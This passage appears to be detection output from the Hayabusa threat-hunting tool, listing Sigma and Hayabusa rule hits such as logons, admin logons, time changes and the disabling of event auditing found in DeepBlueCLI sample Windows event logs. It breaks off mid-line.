+2014-11-27 02:35:09.745 +09:00,IE9Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x131c3,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:35:57.635 +09:00,IE9Win7,4648,informational,Explicit Logon,Source User: IEUser : Target User: rdavis : IP Address: - : Process: : Target Server: HYPERV.sharplogic.local,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:38:06.000 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:38:06.000 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:41:21.932 +09:00,IE9Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x13216,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:43:17.671 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:43:17.671 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:43:31.734 +09:00,IE9Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:43:40.000 +09:00,IE9Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:43:56.893 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:43:56.893 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:43:56.893 +09:00,IE9Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:44:39.689 +09:00,IE9Win7,4648,informational,Explicit Logon,Source User: IE9WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:44:39.689 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x36aed : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:44:39.689 +09:00,IE9Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE9WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x36b1d : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:44:39.689 +09:00,IE9Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x36aed,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 02:46:03.000 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:46:03.000 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 02:59:00.431 +09:00,IE9Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:59:00.431 +09:00,IE9Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 02:59:00.431 +09:00,IE9Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:15:07.962 +09:00,IE9Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x36b1d,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:15:39.306 +09:00,IE9Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 03:16:49.390 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 03:16:49.390 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 03:17:04.250 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:17:08.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 03:17:13.369 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 03:17:13.369 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 03:17:13.369 +09:00,IE10Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:17:19.150 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:17:19.150 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x11c02 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:17:19.150 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x11c32 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:17:19.150 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x11c02,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 03:20:34.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 03:20:34.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 03:30:25.009 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x11c32,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:21:46.785 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:21:48.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 08:21:50.498 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:21:50.498 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x170f5 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:21:50.498 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x17125 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:21:50.498 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x170f5,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:23:59.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 08:23:59.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 08:24:45.552 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 08:24:45.552 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2014-11-27 08:25:04.605 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x17125,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:25:51.420 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:25:54.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-27 08:25:55.414 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:25:55.414 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1ac86 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:25:55.414 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1b245 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:25:55.414 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1ac86,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-27 08:26:40.560 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1b245,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:46:09.645 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:46:10.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-29 00:46:12.437 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:46:12.437 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1a23a : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:46:12.437 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1a265 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:46:12.437 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1a23a,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2014-11-29 00:48:19.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-29 00:48:19.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2014-11-29 00:48:19.456 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1a265,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:21.297 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:46:21.297 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:46:21.750 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:21.750 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1e056 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:21.750 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1e3c9 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:21.750 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1e056,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:33.911 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1e3c9,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:34.426 +09:00,IE10Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x1e3c9,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:46:34.426 +09:00,IE10Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x1e056,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:04.676 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:04.676 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x6831f : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:04.676 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x6832b : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:04.676 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x6831f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:20.053 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x6832b,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:36.671 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:37.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-18 23:47:38.102 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:47:38.102 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:47:38.430 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:38.430 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1dc1e : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:38.430 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1ee41 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:47:38.430 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1dc1e,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:48:31.289 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1ee41,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:49:38.281 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:49:39.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-18 23:49:39.844 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:49:39.844 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:49:40.000 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:49:40.000 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1b293 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:49:40.000 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1b2fd : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:49:40.000 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1b293,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:51:41.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-18 23:51:41.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-18 23:52:55.692 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:52:55.692 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 00:28:28.043 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1b2fd,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:29:27.609 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:29:28.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 00:29:29.859 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:29:29.859 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1aae1 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:29:29.859 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1af2f : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:29:29.859 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1aae1,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:31:31.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 00:31:31.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event 